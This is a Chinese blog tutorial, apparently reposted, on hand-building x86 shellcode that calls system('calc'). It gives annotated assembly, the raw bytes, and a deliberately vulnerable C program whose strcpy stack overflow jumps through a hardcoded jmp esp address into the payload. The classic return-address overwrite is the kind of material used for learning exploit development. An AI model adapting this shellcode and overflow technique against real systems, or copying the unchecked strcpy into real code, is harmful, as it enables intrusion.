逆向工程学习第三天--另外一个ShellCode

暗月博客 2019年11月21日21:09:47评论371 views字数 1723阅读5分44秒阅读模式
摘要

 上周自己打造的添加用户的shellcode太长,不过当时主要目的是为了锻炼手动asm,熟悉一些复杂的参数类型如何手动进行构造,然后通过堆栈传递。

 上周自己打造的添加用户的shellcode太长,不过当时主要目的是为了锻炼手动asm,熟悉一些复杂的参数类型如何手动进行构造,然后通过堆栈传递。

接下来就打造一个弹计算器的shellcode来进行接下来的学习和测试。

弹计算器的C代码只有一句:

C代码:

system(“calc”);

 

004030B4    8BEC            mov     ebp, esp  //把栈底抬高,准备放参数

  004030B6    33FF            xor     edi, edi  //把edi清零,准备0,这样可以防止代码中出现00,避免字符类的复制中shellcode会被截断。

  004030B8    57              push    edi  //开辟0填充的栈空间,用来存放字符。

  004030B9    57              push    edi  //开辟0填充的栈空间,用来存放字符。

  004030BA    C645 FB 63      mov     byte ptr [ebp-5], 63  //字符“c”入栈。

  004030BE    C645 FC 61      mov     byte ptr [ebp-4], 61  //字符“a”入栈。

  004030C2    C645 FD 6C      mov     byte ptr [ebp-3], 6C  //字符“l”入栈。

  004030C6    C645 FE 63      mov     byte ptr [ebp-2], 63  //字符“c”入栈。

  004030CA    8D45 FB         lea     eax, dword ptr [ebp-5]  //取得字符串地址放入eax。

  004030CD    50              push    eax  //参数“calc”入栈

  004030CE    B8 C793BF77     mov     eax, msvcrt.system  //取得system函数地址msvcrt.dll是系统默认加载,所以不用loadlibrary。

  004030D3    FFD0            call    eax  //调用system函数启动计算器。

 

 

机器码:

0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0

测试:

  漏洞程序:

#include "stdafx.h"
#include<stdio.h>
#include<string.h>
char ShellCode[] ={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0};
void overflow();
int main()
{
  overflow();
  printf("fuction returned");
  return 0;
}
void overflow()
{
  char output[8];
  strcpy(output, ShellCode);
  printf("output is %s",output);
}

漏洞程序是一个典型的栈BOF漏洞,在关闭其他BOF保护措施的情况下,我们采用经典的覆盖返回地址来测试,攻击字符串布局:

0x90填充Jmp esp地址(0x7FFA4512)  Shellcode

1.运行时堆栈:

 逆向工程学习第三天--另外一个ShellCode

2.成功弹出计算器:

逆向工程学习第三天--另外一个ShellCode

 

http://www.cnblogs.com/rebeyond/p/4843620.html

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日21:09:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   逆向工程学习第三天--另外一个ShellCodehttps://cn-sec.com/archives/72973.html

发表评论

匿名网友 填写信息